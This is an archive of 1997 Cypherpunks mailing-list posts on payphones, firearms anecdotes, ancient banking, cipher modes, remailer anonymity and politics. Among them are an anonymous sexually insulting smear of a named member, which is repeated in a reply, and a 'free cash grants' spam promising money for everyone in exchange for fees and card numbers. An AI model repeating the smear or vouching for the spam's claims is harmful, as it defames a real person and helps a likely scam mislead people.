  write, but those who cannot learn, unlearn, and relearn."   -Alvin 
Toffler







From bill.stewart at pobox.com  Tue Dec 23 19:51:47 1997
From: bill.stewart at pobox.com (bill.stewart at pobox.com)
Date: Wed, 24 Dec 1997 11:51:47 +0800
Subject: Is Anonymous Communication only for "Criminals"? (was: Re:  UCENET II and Peter duh Silva)
In-Reply-To: 
Message-ID: <3.0.3.32.19971223194605.00738504@popd.ix.netcom.com>



At 04:32 PM 12/21/1997 +0900, Joichi Ito wrote:
>Can't a pay phone operator get paid a portion of incoming calls as well?
>If they can set outgoing rates to be very high, couldn't they set their
>incoming rates as well? (This is not an opinion, but a question.)
>I do know that depending on the arrangement, phone companies either
>carry all incoming call for free or cross bill incoming minutes to each other.

It's difficult to do, given the standard settlements arrangement,
though perhaps that may change under the latest confusing rules.
On the other hand, a pay phone carrier _could_ set up their pay phones
with 1-900 numbers (which charge the caller extra) or similar arrangements.
(To avoid burning many 900 numbers, they could have the caller call
1-900-PAYPHON and type in N more digits to specify the phone.)

Besides the privately owned payphones not wanting to receive calls,
the local telephone monopolies would prefer not to have poor people
receiving their phone calls at the local payphone instead of paying
for monthly telephone service, so they don't mind blocking incoming calls.

And mobile business people who use beepers who used to get very annoyed
because they be reached at payphones will just have to buy cellphones;
cellphones cost much less now than a few years ago, and often the
local telephone monopoly is one of the cellphone carriers.
(They're usually also a beeper seller, but that's much more competitive.)
(The last time I went looking for an apartment, I only had a beeper, and
it was _extremely_ annoying not to be able to get callbacks.)

That just leaves sellers and buyers of politically incorrect substances;
the seller can afford a cellphone, but that's too easy to trace,
or a stolen cellphone, but changing the number often makes it hard
for your customers to know your new number.  Meanwhile, 
the customer can't easily have the seller call back to a payphone.
So the Drug Warriors like banning incoming calls at payphones
(I doubt there's national legislation, but I think there are
local laws in some cities, and the states telephone regulators
probably make it easy also) and the payphone companies don't mind.

The biggest losers are poor people, but nobody cares about them.

				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From bill.stewart at pobox.com  Tue Dec 23 19:52:14 1997
From: bill.stewart at pobox.com (bill.stewart at pobox.com)
Date: Wed, 24 Dec 1997 11:52:14 +0800
Subject: Is Anonymous Communication only for "Criminals"?
In-Reply-To: 
Message-ID: <3.0.3.32.19971223192905.00743190@popd.ix.netcom.com>



At 07:15 PM 12/22/1997 GMT, Adam Back wrote:
>I was totally amazed when I heard from a US friend that US cell phones
>don't bill the caller!  My immediate thought was "people can spam call
>you and run your bill up, ouch!"
>
>Must be weird having a cell phone where people can run your bill up
>just by calling you.

You're actually using more cellular infrastructure resources for the call
if you're the callee, because the carrier has to hunt down your phone
to connect to you, and then tie up the same resources during the call.

On the other hand, you can hang up on spam callers, and many services
give you caller id as part of the cell service, so you can trace
who the spammer is that called you much more easily and harass them
right away, as well as getting a bill for it at the end of the month
which you can also use to harass them.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From ichudov at Algebra.COM  Tue Dec 23 20:18:45 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Wed, 24 Dec 1997 12:18:45 +0800
Subject: Best Cypherpunk long gun
In-Reply-To: <199712240341.WAA15907@mx01.together.net>
Message-ID: <199712240407.WAA01410@manifold.algebra.com>



the problem is the wear of the barrel

ignoramus

Brian B. Riley wrote:
> 
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On 12/23/97 11:57 AM, Igor Chudov @ home (ichudov at algebra.com)  passed
> this wisdom:
> 
> >Brian B. Riley wrote:
> >>   I had maybe a half dozen occasions where I put four to six 20
> >> round mags (the Marines didn't start getting the 30 round mags
> >> til the Army got all theirs - sigh!) through my weapon on full
> >> auto in rapid succession and never had a jam.
> >
> >Did it overheat?
> 
>  Hot enough to burn exposed skin, but not enough for problems. I think
> had I gotten up to seven or eight magazines one after another there
> may have been danger of cooking off rounds or even barrel warp. I saw
> a an M-2 50 on a Chinook get a barrel warp after 1000 straight rounds
> ... first the barrel was glowing cherry red in broad daylight then as
> it cooled it warped enough that the gunner took it out of action ...
> fortunately by that time we had gotten off the ground and were well
> airborne on our way back to Danang (hmmmmmm, makes me think, nuthin
> good ever did happen out near Thuong Duc and Charlie Ridge!)
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGP for Personal Privacy 5.0
> Charset: noconv
> 
> iQEVAwUBNKB1Mz7r4fUXwraZAQGCCAf/Yb0kffVGoPxht45wNowpD66qawU6TKZT
> g951Mv2OXwJMjDz3L7Dc1U5pqU2x2Zjr5kBKmA7qjJeHJFKB6BxP8XDUuauN6zMb
> 4Y0C3tVS+dPKSAJH5tgiP6Cx9Ml+qD14Pwn9zOrVPTSsHiDnF/haJrFXl5zaW9Ou
> ivLHuBDK5cFR1vcQJVJvN2AAlYGnBWwxNJNAo6ytlxDC3niMQw4gR06MeQ8vQTDL
> D3uxYDOa/2t5j9lskgwnXitbBnTgVHfOuD39+zdgPOhuCiPICxDxbNZrHfweVFDw
> ADBieG/FAj5Tu8tiukeTTnsWtIcnBiHBW7VFWu8IxNKyaoPHZW66yA==
> =6Gm8
> -----END PGP SIGNATURE-----
> 
> 
> Brian B. Riley --> http://members.macconnect.com/~brianbr
>  For PGP Keys  
> 
>  "The illiterate of the 21st century will not be those who cannot read and
>   write, but those who cannot learn, unlearn, and relearn."   -Alvin 
> Toffler
> 
> 



	- Igor.






From brianbr at together.net  Tue Dec 23 20:31:35 1997
From: brianbr at together.net (Brian B. Riley)
Date: Wed, 24 Dec 1997 12:31:35 +0800
Subject: Best Cypherpunk long gun
Message-ID: <199712240421.XAA08371@mx02.together.net>



On 12/23/97 11:07 PM, Igor Chudov @ home (ichudov at algebra.com)  passed 
this wisdom:

>the problem is the wear of the barrel
>
>ignoramus
>

 no questio about wear, but I saw the barrel after it colled and it had a 
warp to it. I said 1000 rounds straight and I meant it. They kept linking 
onto the belts and I will bet he didn't let up on the trigger  a dozen 
times through the ten belts .... my LRRP team had stumbled into a bit of 
hornets nest and half the NVA in that end of the province were chasing 
our asses by the time we hitthat LZ. the guy just kept firing til the 
barrel glowed and it did warp slightly when it cooled, enough that he 
didn't want to chance another round down the barrel. my guess is that it 
had been abused more than a few times and the overall temper of the metal 
had chnaged , but for sure there was probably very littel rifling left in 
the barrel as well. I have seen M-60 barrels so worn that they appeared 
to the naked eye as smoothbores.



Brian B. Riley --> http://members.macconnect.com/~brianbr
 For my PGP Keys     
        

  "...error reading WinOS. (A)bort, (R)etry, (M)acintosh?"







From rah at shipwright.com  Tue Dec 23 20:43:29 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 24 Dec 1997 12:43:29 +0800
Subject: Ancient Banking History
Message-ID: 




--- begin forwarded text


X-Authentication-Warning: fma66.fma.com: majordomo set sender to
owner-espam at lists.espace.net using -f
X-Orig-From: Frank Sudia 
X-e$pam-source: bounce-dcsb at ai.mit.edu
X-Sender: rah at pop.sneaker.net
Mime-Version: 1.0
Date: Tue, 23 Dec 1997 08:45:55 -0500
To: espam at intertrader.com
From: Robert Hettinga 
Subject: Ancient Banking History
Sender: owner-espam at lists.espace.net
Precedence: bulk
Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

From: Frank Sudia 
To: Digital Commerce Society of Boston 
cc: Kawika Daguio , Richard Field ,
        Stewart Baker ,
        Frank Sudia ,
        Bernard Frischer 
Subject: Ancient Banking History
MIME-Version: 1.0
Sender: bounce-dcsb at ai.mit.edu
Precedence: bulk
Reply-To: Frank Sudia 

Dear Friends,

 One key problem facing many who seek to reinvent tha banking system is
 that they are only dimly acquainted with banking.  Indeed many of us who
 work for banks also suffer this problem, because banking has become so
 encrusted with concepts from different eras that it's difficult to tell
 what is fundamental.

 So whilst we are attempting reinvent ourselves it might behoove us to get
 back to basics, which is what you get from "Athenian Society & Economy: A
 Banking Perspective," by Edward E. Cohen, Princeton, 1992.  (Amazon)

 Drawing on empricial evidence, Cohen presents an intensive study of
 Athenian banking practices during the 80 year period between the defeat of
 Athens in the Peloponnesian Wars and the death of Alexander the Great in
 323 BC. First he debunks the myth that there were no commercial loans, and
 then goes on to adduce complex banking transactions carried on with only a
 bag of silver coins and a table ("trapeza" in Greek, "banc(h)a" in Italian
 and most other languages).  According to Demosthenes, a trapeza is "a
 business operation producing a risk-laden return from other people's
 money."  Seeing these transactions arising in their simplest forms is very
 instructive, because it shows you what really matters about them.

 The trapeza took deposits and made loans, some of the proceeds of which
 were redeposited (and reloaned), thus expanding the money supply without
 fiat currency.  There was zero government regulation!  There were no
 checks, as payors and payees all showed up in person.  There were bills of
 exchange to minimize transport of coins.  There were 6,000 drachmas in a
 talent, and (I think) 20 drachmas in a Cyzicene stater, another popular
 big coin.  Much of the business was undisclosed, to help clients reduce
 taxes, escape judgements, etc. Notions of interest were different: 1% a
 month for landed loans, 18-100% (per voyage) for maritime loans. Etc...

 I'm only part way thought it, but thought I would share this info, for all
 you history buffs out there.

 Cheers,
 Frank

 --------------------------------------------------------------
 	Frank W. Sudia, Consultant, BT Strategic Ventures
 	1 Bankers Trust Plaza, MS 2371, New York, NY 10006
 	Tel: 212-250-5242  Fax: 212-250-9347  Home: 212-809-5150
 	frank.sudia at bankerstrust.com
 --------------------------------------------------------------



 For help on using this list (especially unsubscribing), send a message to
 "dcsb-request at ai.mit.edu" with one line of text: "help".


----------------------------------------------------------------------
Where people, networks and money come together:        Consult Hyperion
http://www.hyperion.co.uk/                          info at hyperion.co.uk
----------------------------------------------------------------------
Full-Strength Cryptographic Solutions for Worldwide Electronic Commerce
http://www.c2.net/                                    stronghold at c2.net
----------------------------------------------------------------------
Like e$? Help pay for it!
For e$/e$pam contributions or sponsorship:  
----------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From bill.stewart at pobox.com  Tue Dec 23 21:32:28 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 24 Dec 1997 13:32:28 +0800
Subject: Question on CFB variant with c[i-N]
In-Reply-To: <3.0.5.32.19971222091025.007aee10@otc.net>
Message-ID: <3.0.3.32.19971223200714.00700484@popd.ix.netcom.com>



>>>>>              cfb    Ciphertext feeback mode
>>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]

>>Suppose instead of c[i-1] you use c[i-N] where N is say 10.

> Wouldn't the size of your IV have to grow as N grows?

Depends on your threat model; you could use the same IV for all c[i<1].
The main reason to do that sort of interleave is to simplify
parallelizing the hardware for speed while retaining
approximately the same security as regular CFB.

You might have some minor security gain because there's less
correlation between p[i] and p[i-N] than p[i-1],
so it's harder to guess things that might help,
but you might have a minor security loss because you're
only mushing together 1/N as much stuff, and you're
more likely to implement something incorrectly :-)


				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From dlv at bwalk.dm.com  Tue Dec 23 21:41:03 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 13:41:03 +0800
Subject: Best Cypherpunk long gun (fwd)
In-Reply-To: 
Message-ID: <0ka8He59w165w@bwalk.dm.com>



Rabid Wombat  writes:

> Sorry for following the off-topic thread. I was going to throw in some
> ascii art, but I gotta go mix up some rum punch and stir the C4, or vice-
> versa.


Here's a christmas card for all the gun nuts on this list...


                                       """""""
                                       |""""""
                         _________     O   C""
                        //-------\\   /_     \
L______________||O-----------------\   |____/_\ /
-----------------||||| =========== /\ ____\    v|\
                  OOOO-L______________          /
                    --____||||___\<
                          ||||    (|-- |
                          ----
      ----.
     "   _}
     "@   >
     |\   7
     / `-- _         ,-------,****
  ~    >o<  \---------o{___}-
 /  |  \  /  ________/8'
 |  |       /         "
 |  /      |


    ___________  || o   > =====| === \
 ~Y/ =====-__|~==\|   U > ===   BULLET>
   / |L)~~~       \  ___ > ===== / === }
   |_|     BAM!    \_____/



     \         _            /
         \    |#|      /
            \ |#| /
    \       @#####@      ______
__    __  (###   ###)-.
        .(###     ###) \  ---
   /   /  (###   ###)   )  _____
    / (=-  .@#####@|_--"
   /  /\    \_|l|_/ (\
  /  (=-\     |l|    /  \
 /    \  \.___|l|___/    \
      /\      |_|   /
     (=-\._________/\
      \             /
       \.__________/
           #       #
           #       #
           \#######/

That's all I got... Sorry it ain't as good as the Timmy pictures.






From dlv at bwalk.dm.com  Tue Dec 23 21:41:04 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 24 Dec 1997 13:41:04 +0800
Subject: It's the usual Libertarians-vs-Statists flame war!  Re:
In-Reply-To: <3.0.3.32.19971223190836.006f87c0@popd.ix.netcom.com>
Message-ID: <1ua8He61w165w@bwalk.dm.com>



"bill.stewart at pobox.com"  writes:
> And by the way, none of this has to do with whether governments can
> require corporations not to have their employees act rudely.
> Corporations are a fictional creature whose existence is a favor
> from the government to the owners, and they can tie whatever strings
> they want to onto the favor when they grant it.  Whether granting

That's an interesting legal theory. I recall that when RSA (the republic
of south africa, not the company) mandated racial discrimination in workplace,
various US companies doing business there refused, and RSA didn't give them
any trouble (probably because they'd rather have them violate their laws than
leave altogether). Now, suppose a corporation incorporated someplace where
it's legal to refuse to hire coloreds opens an office in the US - is it not
subject to the same laws as the corporations from one of the 50 states
because it's so foreign??

> favors to bunches of owners is a State or Federal job,
> or whether it's Nobody's job, the owners can do what they're told
> or have their favor vanish in a puff of greasy orange smoke
> and still not have a cause of action for complaining about it.
> Companies run by partnerships and the business activities of
> individuals are a separate issue, unless they're selling to the
> government, which also makes them fair game.

Hmm! There are some pretty big partnerships. I used to be employed by GS
and by C&L, both of which are partnerships. Do you mean
they could discriminate against coloreds if they wanted to? I thought it
goes by the number of employees.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From amp at pobox.com  Wed Dec 24 01:00:43 1997
From: amp at pobox.com (amp at pobox.com)
Date: Wed, 24 Dec 1997 17:00:43 +0800
Subject: Javascript Encryption/Decryption
Message-ID: 



The Javascript page at infohiway has posted a javascript implementation of 
simple encryption for the web.

http://www.infohiway.com/javascript/indexf.htm

This would be interesting if it had a real crypto algorithm in it like 
IDEA.


===from their page===
Welcome to the ISN� Web Developer's Cut-N-Paste JavaScript,
Perl and Plug-ins Toolbox!

http://www.infohiway.com/javascript

Featuring more than 189 FREE JavaScripts you can simply paste
into your HTML! Plus we have some Cut-N-Paste Perl and CSS
scattered around the site, too!


Cut-N-Paste JavaScript Home / Encryption Scheme

 This little script is really easy to use. Just paste in your message and
you get back your encrypted message... relatively quickly. So long as the 
recipient has the same JavaScript app as you do, decryption will work.

 The sample on this page is of a 4-Bit encryption open architecture scheme 
using only JavaScript. Although designed primarily for encryption of shorty 
emails, the same notion could be used to protect confidential dealer price 
lists, etc. on your public pages.

 Encryption is not just a matter of "jumbling letters". Any amateur 
cryptographer has a whole lot more tricks than that up his sleeve.

 First, our little sample programs permit you to use a key letter, a key 
word or a key phrase of your own devising. What length? You decide. Since 
the length is unknown, we've created a first problem for anyone attempting 
to decrypt it.

 Secondly, they are ultimately recursive. Meaning that you can recursively 
encrypt encrypted materials as many times as you wish. Only you and the 
recipient know how many times. Another problem for the "great decryptor".

 Finally, you can really be sneaky about the key phrases you use. For 
example, you might agree that the key phrase will be the seventh line on 
page 13 of Catcher in the Rye. (Seventh month, thirteenth day) Or you might 
grab the 13th line on a page at a specific URL for this month. Or the lead 
headline from the ABC News Home Page for today.

 If you download this little script to your hard drive, even if the boss 
finds it, it does him/her absolutely no good whatsoever in decrypting your 
email, because the key phrases are absolutely necessary to the decryption 
of encrypted messages.




===
E-mail: amp at pobox.com
Date: 12/24/97
Time: 08:50:10
Visit me at http://www.pobox.com/~amp

     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i



Tim May has been beaten up numerous times by fellow prostitutes for driving blow 
job prices down.

  _
 {~}
( V-) Tim May
'|Y|'
_|||_






From order_desk78 at hotmail.com  Wed Dec 24 23:28:09 1997
From: order_desk78 at hotmail.com (order_desk78 at hotmail.com)
Date: Wed, 24 Dec 1997 23:28:09 -0800 (PST)
Subject: FREE CASH GRANTS, FUNDING AND LOANS
Message-ID: 


Our research reveals that this information may be of use to you and/or your organization. 

*********************************************************************************

Hi, if you have ever considered getting a loan ...............you should take time to read this.

We Have Over 45,000 U.S. Based Grant Provider Programs In Our Database.

WE ARE A FINANCIAL FINDER & MATCHING SERVICE
."INTEREST -  FREE CASH GRANTS AND FUNDING!"...


IF YOU ARE BEING REJECTED FOR THE MONEY YOU NEED .....
______________________________________________________

Then Why Not Try A Private Foundation OR The Federal Government? Interest Free Cash Grants From $100.00 & Up to $1,000,000.00. No Collateral.  No Cosigners, No Security Deposit, No Credit Check.  No Pay Back.

The Money May Be Used For Any Worthwhile Purpose;  Education,
Personal  Welfare,  Business, Medical, Religion, Etc.

ANYONE CAN GET AN INTEREST FREE CASH GRANT!
____________________________________________

As long as they have a genuine reason for needing money and as long as the grant provider's guidelines are met.

Dear Applicant,

This letter tells you HOW YOU CAN GET AN INTEREST FREE CASH GRANT.
Take a few minutes to read it. You'll be suprised  to see how easy it can be to get a grant.  From time to time, everyone needs to borrow.  The problem is that for most people, getting a loan is a big hassle. Going to banks or finance companies in person takes a lot of time.  In most cases, there is endless paperwork.  And Unfortunately, in many cases all that you end up with is a rejection notice.


ABSOLUTELY NO HASSLES
________________________

Getting a Grant is probably a lot easier than you think.  In your area, 
there are usually only a small number of places that will provide you with the money, that you need.  On the other hand, there are literally thousands of grant providers who donate money to people who have genuine reasons for needing the money. 

Chances are that most banks in your area have very stringent loan
requirements.  Unlike Banks, most Grant Providers  are more lenient; 
in a sense that  persons who have poor credit, no credit, or even those who have gone through bankruptcy  are able to get the money
that they need - sent to them by a check payable to them. 
This is because foundations are NOT interested in CREDIT RATINGS.

We are not associated with any of the foundations in our program,
therefore all money will go directly to you, payable to you.  
As a Financial Finder & Matching Service, we know where the money is and which Grant Providers may be most likely to approve your grant. Our state-of-the-art search engines enables us to select multiple criteria from our database and create within minutes a list of grant providers that match your area of interest. There are thousands of grant providers with money to donate.  It is our job to put you in touch with them.

PLEASE REMEMBER: CASH-GRANTS are FREE of any interest, 
& they DO NOT NEED TO BE PAID BACK!
________________________________________________

Grant Providers give out money for a wide variety of needs as long as it is something LEGAL and within the Grant Providers' field of interest. This means that you obtain the money to cover bills, meet emergency needs, or to buy anything that you might need, as long as the Grant Provider agrees to it.


YOU DECIDE HOW MUCH MONEY YOU WANT TO OBTAIN.  
________________________________________________

The amount can be as little as $100.00, and up to $1,000,000.00 is
possible.  And remember, there is NO CREDIT CHECK.

As a Financial Finder & Matching Service, we'll review your service
application form and determine which foundations may be most likely to provide you with the money that you need.  Keep in mind that we have only reputable Grant Providers in our program.  You are protected by the fact that these foundations are regulated by the laws of the United States.

No matter how much you need to obtain, no matter what you need to use the money for; we feel confident that we can assist you to get it with the service we are offering. We will ONLY process order which we feel are within the parameters provided by the Grant Providers. 

All that you will have to do is complete the service application form below, and mail it with payment as indicated on the form.  We will process your service application within 10 days. We will match your FINANCIAL NEEDS & REQUIREMENTS with the most suitable Grant Providers in our program.

______________________________________________________

PRICE LIST

BASIC GRANT PROVIDER LISTING

Contains over 100 Grant Provider Programs that are 
issued for general charitable causes on a national basis.
Also includes application procedures and deadlines.................$29.95

CUSTOM GRANT PROVIDER LISTING

This is your tailored listing of grant providers in
your area of interest. Will include (if available) the 
application forms, contact names, and grant providers
in your city or state....................................................................$39.95

CUSTOM GRANT PRO

A comprehensive listing in your area of interest containing
funding sources in the private and government sector. 
Also includes a Grants writing manual.......................................$49.95

______________________________________________________

Service Application Form: bk-74-4

(circle one)

Money Order    Check     Credit Card (Circle One: VISA, M/C, Discover) 

Credit card # ________________________________________

Expiration Date____________________

Signature_________________________________________

(   ) BASIC GRANT PROVIDER LISTING                $ 29.95
(   ) CUSTOM  GRANT PROVIDER LISTING          $ 39.95
(   ) CUSTOM GRANT PRO                                     $ 49.95                
(   ) RUSH PROCESSING                                        $ 10.00              
(   ) SHIPPING & HANDLING*                                  $   4.00

Total $_____

TO EXPEDITE, FAX TO (619) 683-9130

If paying by check or money order,
Please make payable to:  FINANCIAL RESEARCH GROUP
& MAIL TO:

FINANCIAL RESEARCH GROUP
864 NORTH SECOND STREET #291
EL CAJON, CA 92021

Checks Take 5 Days to clear at the bank.  Please Print Clearly For Our Office Staff

***********************************************
PLEASE FILL IN WHERE APPLICABLE
***********************************************

Grant Purpose/Area of interest: (if you are a student ordering the CUSTOM LIST, please specify your current major and GPA)

______________________________________________________

______________________________________________________

______________________________________________________

I/We Need Funding For;

____ Program Development  
____ Continuing support
____ Research  
____ General/Operating Support

_____  Private Non-profit organization  
_____  Puplic Non-profit organization      

Amount Needed $___________.00  

Name_____________________________     

Occupation ________________________

Address________________________________________________

City ____________________ County___________State _________
 
Zip___________________________

Phone #(______)_______  -_________

Signature_______________________  






From honig at otc.net  Wed Dec 24 09:39:44 1997
From: honig at otc.net (David Honig)
Date: Thu, 25 Dec 1997 01:39:44 +0800
Subject: computer modelling of cryptanalytic thought processes (references)
Message-ID: <3.0.5.32.19971224092430.007dc490@otc.net>




I was reading the Military Cryptanalysis Field Manual 
at ftp://ftp.ox.ac.uk/pub/crypto/cryptanalysis/ basic_cryptanalysis.ps.tar.gz
and was reminded of a book I had partly read a while ago, Doug Hofstadter's
_Fluid Concepts & Creative Analogies : Computer Models of the Fundamental
Mechanisms of Thought_
(http://www.amazon.com/exec/obidos/ISBN=0465024750/r/0509-6726066-321937).

'Hofstadter and his colleagues created a variety of computer programs that
extrapolate sequences, 
apply pattern-matching strategies, make analogies, and even act "creative."
'  

For instance, he developes a 
model that solves a type of newspaper-puzzle cryptogram.

The interplay between levels of abstraction ---recognizing words in the
plaintext language, 
and reconstructing the key together from statistical and other constraints
(Ch. 4)--- is what's 
similar between Hofstadter's model and what the field manual describes.

Caveats: Hofstadter's book is very dry.  The Field Manual only mentions
that computers may be useful,
and gives advice that may have been useful 70 years ago.





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

"Windows 95 is a technologically complex product that is best left alone by
the government..."
 ---MSFT Atty B. Smith

















From honig at otc.net  Wed Dec 24 09:39:49 1997
From: honig at otc.net (David Honig)
Date: Thu, 25 Dec 1997 01:39:49 +0800
Subject: It's the usual Libertarians-vs-Statists flame war!  Re:  Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.3.32.19971223190836.006f87c0@popd.ix.netcom.com>
Message-ID: <3.0.5.32.19971224090132.007d7280@otc.net>



At 07:08 PM 12/23/97 -0800, bill.stewart at pobox.com wrote:
>We're pretty far off topic for both fight-censorship and cypherpunks,
>aren't we?  There's a bit more excuse on fight-censorship, since
>censoring racists vs. freely publishing hate speech is a core issue there;
>the cypherpunks content is mostly limited to "In cypherspace, nobody can
>hear you flame" and technologies for protecting freedom of speech and
>association from censors, racists, and other statists.

Until recently in this thread, the Subject line remained the same, and if
you'll look
you'll find the letter 'k' to the left of the 'l' key.



If the director of counterintel at the CIA cost the Soviets only
$1.5million (wife included),
how much will your company's key-escrow agent cost?







From real at freenet.edmonton.ab.ca  Wed Dec 24 10:20:04 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 25 Dec 1997 02:20:04 +0800
Subject: your mail
In-Reply-To: <199712241151.DAA02780@sirius.infonex.com>
Message-ID: 





I think Vulis needs each of us to send ten copies of this back to him.


On Wed, 24 Dec 1997, Mix wrote:


> Tim May has been beaten up numerous times by fellow prostitutes for driving blow 
> job prices down.
> 
>   _
>  {~}
> ( V-) Tim May
> '|Y|'
> _|||_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email :  : 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From comsec at nym.alias.net  Wed Dec 24 10:27:52 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Thu, 25 Dec 1997 02:27:52 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <349d63d2.166534653@nntp.best.ix.netcom.com>
Message-ID: <19971224182004.5699.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> :> Nope. If a lawyer believes he can win and there big money involved, he'll take
> :> it on the premise that he gets paid if he wins.   If the defendant has nothing
> :> to offer, the lawyer won't do it.  Thus, the falsly accused may not be able to
> :> afford to go to court.  The decision to sue is mostly based on how deep the
> :> pockets of the defendant would be.
> :
> :Then what's the point of going to all the trouble of tracking someone down if
> :you're unwilling or unable to take appropriate legal action against him
> :after he's found?
> 
> That's not what I said.  

If your decision to sue or not sue is based on the deepness of the
defendant's pockets, and if you didn't know this until after he was
identified, then you very might well end up tracking down and
identifying someone that a lawyer wouldn't be willing so sue (on a
contingency fee basis), right?

My question was, if Politas' suggestions were implemented and an
unknown individual was tracked down using the procedure he outlined,
and it turns out the individual was "judgement proof", who's going
to pay for the costs of the investigation?

Otherwise, you end up with an "in terrorem" remedy.  That's one that
you probably wouldn't or couldn't aqctually use, but the potential
to do so might serve as a deterrent.  Unfortunately, when free
speech is involved, that's exactly what many of us don't want.  It
cuts both ways.  Look at what the scientologists did to Julf and the
anon.penet.fi remailer.  Alleging some violation of Swedish law,
they almost succeeded in retrieving Julf's entire "traceability"
database linking account names to their "real" owners.  The end
result was that the remailer was destroyed.  Having privacy invading
data like that available put all of Julf's clients at risk.  In the
end, Julf felt that it was better to close down rather than risk
future raids.

That has pretty much driven a nail in the coffin of the sort of
"traceable" remailers Politas is now proposing.  It's a case of
"been there -- done that".  Few people relish ending up on the
Scientologists' (or the next organization like it that comes along)
hit list, and most now realize how vulnerable a remailer operator is
to coercion -- even the "legal" variety.  One doesn't even have to
be an anti-scieno to be a victim of such a raid.  Since they're so
paranoid about anonymity and the ability of people to publish their
"secret scriptures" anonymously, they might just steal such a
database and anonymously publish it themselves.  Outing thousands of
innocent remailer clients would irreparably harm the reputation of
remailers, which would work to their advantage.

I'll even go so far as to say that you'll never be able to eliminate
truly anonymous remailers.  First of all, you'll never get every
single country to adopt Politas' suggestions.  All it takes is one
untraceable remailer in an encrypted chain to make back-tracing a
message impossible (or at least prohibitively costly, in terms of
money, time, and computing resources).
 
> :> :So you're suggesting that the victim should suffer.  You are really saying
> :> :that it is perfectly acceptable for someone to be run out of a newsgroup by
> :> :a single person who refuses to be killfilable.
> :>  
> :>  
> :> Yup, that's what he's saying.
> :
> :I don't recall ever saying that.  How do you run a person out of
> :an unmoderated NG? 
> 
> Charlie, if he doesn't like your posts and you continue to post and he just
> can't bring himself to killfile you the next best thing is for him to leave,
> right?

That's one option, but I wouldn't make it a blanket suggestion.
Some ideas are worth defending and some are better off dropped.
I've seen fanatics on some NGs who have attracted exactly ZERO
supporters to their position, and dozens of people rebutting,
flaming, ridiculing them, etc. yet these folks persist.  Ultimately
it's their choice.

Let me cite an example.  I believe the earth is round and presumably
you do too.  But if you visited a NG that was the hangout of dozens
of flat-earthers, you probably wouldn't stick around too long to
argue the point.  At least I know I wouldn't.  Being right doesn't
require you to convince everyone.  You just accept the fact that
some arguments are unwinable and move on to more productive things.
The same could be said for religious or political flame wars.

If I expressed my opinion, and some religious kook accused me of
being the devil incarnate for espousing such heresy, I wouldn't
waste my time trying to netcop the person.  Maybe calling me "the
devil incarnate" is libellous, but IMO it's not worth the time and
effort to pursue.  And that's even with a net.kook who's posting
with a genuine e-mail address and his "real name".  An anonymous
kook is even less worthy of bothering with.

If he crosses the line and commits behavior that is flagrantly
illegal, then he's exposing himself to risk by doing so.  Let's face
it, people may walk down the street with ski masks on, and even if
it annoys you, you're probably not going to be able to unmask them.
If one robs a bank, though, he stands a far greater chance of being
identified and apprehended.  Politas' solution is like requiring
name tags on ski masks.  Let's worry about the bank robbers rather
than the people who wear ski masks.

> : And if it's moderated, and the moderator is allowing what
> :you consider libel against you, then you probably have a case against him.
> 
> True.
> 
> :That's what the courts decided in a landmark case against an ISP.  When you
> :manage the content then you become responsible for it as well.
> 
> Exactly.

The bottom line being, if you have a POV you wish to express, and
you encounter opposition in one forum, choose another one.  If you
can't find one, start one.

> :Nor do I understand the "who refuses to be killfilable" part, either. 
> 
> I believe he meanse by continously altering his name or by posting
> anonymously. 

If he's posting anonymously, then he's easily killfilable.  Just put
the return address of the remailer(s) he's using in your killfile.

If he's not posting anonymously, then that scenario is not related
to remailers.  If you're talking about multiple GENUINE IDs, then
the ISPs involved might be able to help -- assuming he's really
committing abuse OF the net, and not merely being annoying.  If
